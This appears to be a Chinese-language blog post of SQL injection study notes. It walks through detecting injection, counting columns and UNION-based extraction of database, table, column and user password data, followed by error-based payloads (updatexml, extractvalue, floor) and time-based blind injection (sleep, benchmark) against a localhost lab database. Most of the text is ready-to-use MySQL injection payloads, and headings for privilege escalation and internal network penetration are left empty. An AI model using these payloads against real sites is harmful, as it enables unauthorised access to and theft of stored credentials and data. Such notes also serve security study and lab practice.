SQL注入——SQL注入流程

1、判斷是否有注入

  • 判斷是否存在注入
  •  and 1=1
  • and 1=2
  • and 3-2=1
  • and 3-1=1
  • ‘  “   )  ‘) “) ‘)) “)) `    測出頁面異常
  • ‘ and 1=1 -- -
  • ‘ and  1=2 -- -
  • ‘  and 3-2=1 -- -
  • ‘ and   3-1=1 -- -
  • order by
  • 判斷字段個數
  • sql.php?id=1 order by 1,2,3,4
  • 在order by 字段個數不大於查詢字段個數時,語句會正常執行,當字段個數大於查詢字段個數時,語句會報錯。
  • 判斷輸出參數的位置
  • union select 1,2,3
  • 可以看到2和3輸出在頁面中,就可以確定這兩個參數會輸出。
  • 查看數據庫基本信息
  • union select  1,version(),database()

2、union注入

  • 1、有顯示位
  •  
  • 2、查看數據庫有哪些表
  • union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security'
  • 3、查看對應表有哪些列
  • union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users'
  • 4、查看賬號密碼信息
  • union select 1,group_concat(username),group_concat(password) from users
  • 5、源碼分析
  •  

3、基於錯誤顯示的注入

  • http://localhost/sql-1.php?id=-1  and
  • updatexml(1,concat(0x7e,database()),1)
  • 必須有錯誤回顯
  • http://localhost/sql-1.php?id=-1  and updatexml(1,concat(0x7e,(select  substring(group_concat(schema_name),21,20)from information_schema.schemata) ),1)
  • http://localhost/sql-1.php?id=-1  and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security') ),1)
  • http://localhost/sql-1.php?id=-1  and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users'  ) ),1)
  • http://localhost/sql-1.php?id=-1  and updatexml(1,concat(0x7e,(select group_concat(concat_ws(0x7e,username,password))from security.users ) ),1)

4、盲注之報錯注入

  • 1、只需要能夠執行sql語句。
  •  
  • 2、extractvalue(arg1,arg2) :從目標XML中返回包含所查詢值的字符串,arg1爲是String格式,爲XML文檔對象的名稱。arg2爲Xpath格式的字符串。
  • 語句:select extractvalue(1,concat(0x7e,(select user()),0x7e))
  • 返回結果:XPATH syntax error: '~root@localhost~
  • 3、updatexml(arg1,arg2,arg3):改變文檔中符合條件的節點的值,arg1位xml文檔對象的名稱,arg2爲xpath格式的字符串,arg3,String格式,替換查找到的符合條件的數據。
  • 語句:select updatexml(1,concat(0x7e,(select user()),0x7e),1)
  • 返回結果:XPATH syntax error: '~root@localhost~
  • 4、floor(arg1):函數只返回arg1整數部分,小數部分捨棄。
  • 語句:select 1,(select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a),3
  • 返回結果:Duplicate entry 'root@localhost1' for key 'group_key’
  • 5、Extractvalue() updatexml()
  • 有32位長度限制
  • 報錯函數有mysql版本限制
  • 6、查看數據庫名字
  • 1' and extractvalue(1,concat(0x7e,(select database()),0x7e))#
  • 7、查看數據庫有哪些表
  • 1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))#

5、基於查詢時間的注入

  • benchmark()
  • benchmark(arg1,arg2) arg1爲操作的函數,arg2爲操作次數
  • 語句:select if(1=1, benchmark(5000000,md5('abc')), 'goodbye')
  • 返回結果:頁面延遲2秒顯示
  • sleep
  • sleep(arg1) arg1中斷的時間單位爲秒。
  • 語句:select if(1=1, sleep(3), 'goodbye')
  • 返回結果:頁面延遲3秒顯示
  • 數據庫名的長度
  • and if((length(database()))>5),sleep(5),0)
  • and (length(database()))>5
  • and (length(database()))=4
  • 改變n的值依次獲取數據庫名的字符
  • and (ascii(substr(database(),n,1)))>100
  • 獲取數據庫表名(同理先獲取長度)
  • and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1)))>100
  • 獲取列名
  • and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>100
  • 獲取數據
  • and (ascii(substr(( select password from users limit 0,1),1,1)))=68

6、獲取數據庫信息

  • 獲取數據庫基本信息
  • 獲取列名
  • 獲取數據庫名
  • 獲取表名
  • 獲取用戶數據

7、破解數據

8、提升權限

9、內網滲透

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章